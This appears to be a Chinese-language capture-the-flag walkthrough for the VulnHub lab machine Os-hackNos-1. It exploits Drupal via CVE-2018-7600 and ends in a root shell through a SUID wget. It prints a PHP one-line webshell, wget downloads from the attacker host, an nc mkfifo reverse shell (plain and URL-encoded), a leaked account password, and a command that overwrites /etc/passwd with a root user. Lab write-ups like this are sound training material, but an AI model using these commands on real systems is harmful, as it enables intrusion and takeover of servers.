https://download.vulnhub.com/hacknos/Os-hackNos-1.ova #靶机下载地址
题目:要找到两个flag user.txt root.txt
文件打开
改为NAT
vuln-hub-OS-HACKNOS-1靶机检测不到IP地址
重启靶机
按住shift
按下键盘字母"E"键
将图中ro修改成rw signie init=/bin/bash
修改完成后按Ctrl+x键进入bash
可以看到当前即是root用户,可以排查网卡启动失败的原因
先查看当前网卡信息ip a命令
上图可以看到当前网卡ens33没有获取到有效的IP地址
vim /etc/network/interfacers
修改为正确网卡名称
注:Redhat、centos系统配置文件有所差异vim /etc/sysconfig/network-scripts/ifcfg-eth0
/etc/init.d/networking restart
再ip a查看
开始实践
主机发现
sn和sP一样
推荐使用arp-scan -l
确定为131
扫描主机开放端口
也可以使用Windows工具
访问80
目录扫描
gobuster dir -u http://192.168.62.131/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
dirsearch -u http://192.168.62.131/
dirb http://192.168.62.131/
访问扫描的目录
使用插件可以查看到cms版本
也可以访问
http://192.168.62.131/drupal/CHANGELOG.txt
EXP地址:https://github.com/pimps/CVE-2018-7600
git clone https://github.com/pimps/CVE-2018-7600.git
达到RCE效果了
上传一句话木马
<?php system($_POST['cmd']);?>
#这个马不能连接蚁剑
python开启http服务
在哪个文件夹开 默认显示的就是哪个文件夹下的内容
我这边显示有点文字错位
python drupa7-CVE-2018-7600.py http://192.168.62.131/drupal/ -c "wget http://192.168.62.129/shell.php"
可以ls查看是否上传成功
测试
nc反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.62.129 6666 >/tmp/f
url编码
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.62.129%206666%20%3E%2Ftmp%2Ff
反弹成功
查看一下文件
解密
获得账号密码
james:Hacker@4514
#但是后期没什么用
创建出一个交互性shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
如果出现了报错
单引号用英文
但是james登录不上
尝试提权 suid
需要搜索到带有s的文件,开始查找 find / -perm -u=s -type f 2>/dev/null
发现wget具有suid权限,而且普通用户可以执行,那么可以通过下载目标靶机上的passwd文件,然后添加一个有root权限的用户到passwd文件中,然后使用wget -O将内容重定向到目标靶机的/etc/passwd中
通过OpenSSL passwd生成一个新的用户yezi
构造一下yezi用户的 /etc/passwd的内容
python drupa7-CVE-2018-7600.py http://192.168.62.131/drupal/ -c "wget http://192.168.62.129/passwd -O /etc/passwd"
也可以追加一行
追加到最后一行:
echo 'yezi: $1$yezi$ci.TeKqToxOQErv1R4jQ30:0:0:root:/root:/bin/bash' >> passwd
提权 (前面做的步骤意义其实就是新增用户 将用户提升为root权限)
获取flag
1:
2: